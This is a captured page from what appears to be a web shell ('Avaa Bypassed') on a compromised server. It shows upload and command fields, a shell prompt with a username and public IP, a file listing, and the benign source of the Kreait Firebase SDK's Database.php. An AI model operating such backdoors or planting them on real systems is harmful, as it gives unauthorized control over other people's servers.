404

[ Avaa Bypassed ]




Upload:

Command:

elspacio@18.116.12.200: ~ $
<?php

declare(strict_types=1);

namespace Kreait\Firebase;

use GuzzleHttp\Psr7\Uri;
use Kreait\Firebase\Database\ApiClient;
use Kreait\Firebase\Database\Reference;
use Kreait\Firebase\Database\RuleSet;
use Kreait\Firebase\Database\Transaction;
use Kreait\Firebase\Database\UrlBuilder;
use Kreait\Firebase\Exception\InvalidArgumentException;
use Psr\Http\Message\UriInterface;

use function ltrim;
use function sprintf;
use function trim;

/**
 * @internal
 */
final class Database implements Contract\Database
{
    private ApiClient $client;
    private UrlBuilder $urlBuilder;
    private UriInterface $uri;

    public function __construct(UriInterface $uri, ApiClient $client, UrlBuilder $urlBuilder)
    {
        $this->uri = $uri;
        $this->client = $client;
        $this->urlBuilder = $urlBuilder;
    }

    public function getReference(?string $path = null): Reference
    {
        if ($path === null || trim($path) === '') {
            $path = '/';
        }

        $path = '/'.ltrim($path, '/');

        try {
            return new Reference($this->uri->withPath($path), $this->client, $this->urlBuilder);
        } catch (\InvalidArgumentException $e) {
            throw new InvalidArgumentException($e->getMessage(), $e->getCode(), $e);
        }
    }

    public function getReferenceFromUrl($uri): Reference
    {
        $uri = $uri instanceof UriInterface ? $uri : new Uri($uri);

        if (($givenHost = $uri->getHost()) !== ($dbHost = $this->uri->getHost())) {
            throw new InvalidArgumentException(sprintf(
                'The given URI\'s host "%s" is not covered by the database for the host "%s".',
                $givenHost,
                $dbHost,
            ));
        }

        return $this->getReference($uri->getPath());
    }

    public function getRuleSet(): RuleSet
    {
        $rules = $this->client->get('/.settings/rules');

        return RuleSet::fromArray($rules);
    }

    public function updateRules(RuleSet $ruleSet): void
    {
        $this->client->updateRules('/.settings/rules', $ruleSet);
    }

    public function runTransaction(callable $callable): mixed
    {
        $transaction = new Transaction($this->client);

        return $callable($transaction);
    }
}

Filemanager

Name Type Size Permission Actions
AppCheck Folder 0755
Auth Folder 0755
Contract Folder 0755
Database Folder 0755
DynamicLink Folder 0755
Exception Folder 0755
Http Folder 0755
Messaging Folder 0755
RemoteConfig Folder 0755
Request Folder 0755
Util Folder 0755
Value Folder 0755
AppCheck.php File 1.32 KB 0644
Auth.php File 22.53 KB 0644
Database.php File 2.2 KB 0644
DynamicLink.php File 2.04 KB 0644
DynamicLinks.php File 5.26 KB 0644
Factory.php File 20.57 KB 0644
Firestore.php File 558 B 0644
Messaging.php File 7.69 KB 0644
RemoteConfig.php File 3.52 KB 0644
Request.php File 131 B 0644
Storage.php File 1.18 KB 0644
Util.php File 1.55 KB 0644